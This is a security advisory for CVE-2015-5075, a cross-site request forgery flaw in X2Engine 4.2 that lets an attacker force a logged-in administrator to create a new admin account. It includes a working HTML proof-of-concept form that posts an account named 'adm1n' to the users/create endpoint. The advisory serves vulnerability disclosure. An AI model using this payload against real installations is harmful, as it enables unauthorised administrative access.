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X2Engine 4.2 Cross Site Request Forgery

X2Engine 4.2 Cross Site Request Forgery
Posted Sep 26, 2015
Authored by Simone Quatrini | Site portcullis-security.com

X2Engine version 4.2 suffers from cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
advisories | CVE-2015-5075
MD5 | 11348f9f1c5b5e8efbe503d9fb0ddff3

X2Engine 4.2 Cross Site Request Forgery

Change Mirror Download
Vulnerability title: Cross-Site Request Forgery In X2Engine Inc. X2Engine
CVE: CVE-2015-5075
Vendor: X2Engine Inc.
Product: X2Engine
Affected version: 4.2
Fixed version: 5.2
Reported by: Simone Quatrini
Details:

It was discovered that no protection against Cross-site Request Forgery attacks was implemented, resulting in an attacker being able to able to force the creation of a new administrative account.
Impact:

Cross-site Request Forgery exploits the way in which HTTP and web browsers work.

Due to the fact that HTTP is a stateless protocol, and that web browsers will include all relevant cookies for the domain that a request is for, if an administrator user was logged into the application and the attacker sent a link that the administrator duly followed (or the attacker tricked them into following a link on a page), the administrator’s browser would include all cookies (including the session cookies) in the request. The attacker’s link would then be executed with administrator privileges.

This attack is not limited to sending malicious URLs to users; multiple different attack vectors exist to perform this attack in a more covert manner, such as embedding the attack within an invisible iFrame on a different page. Using the iFrame method it is also possible to submit both GET and POST requests.

For example:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/x2engine/index.php/users/create" method="POST">
<input type="hidden" name="User[firstName]" value="John" />
<input type="hidden" name="User[lastName]" value="Smith" />
<input type="hidden" name="User[username]" value="adm1n" />
<input type="hidden" name="User[password]" value="letmein" />
<input type="hidden" name="User[userKey]" value="" />
<input type="hidden" name="User[title]" value="" />
<input type="hidden" name="User[department]" value="" />
<input type="hidden" name="User[officePhone]" value="" />
<input type="hidden" name="User[cellPhone]" value="" />
<input type="hidden" name="User[homePhone]" value="" />
<input type="hidden" name="User[address]" value="" />
<input type="hidden" name="User[backgroundInfo]" value="" />
<input type="hidden" name="User[emailAddress]" value="" />
<input type="hidden" name="User[status]" value="1" />
<input type="hidden" name="yt0" value="Create" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-5075/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
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Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

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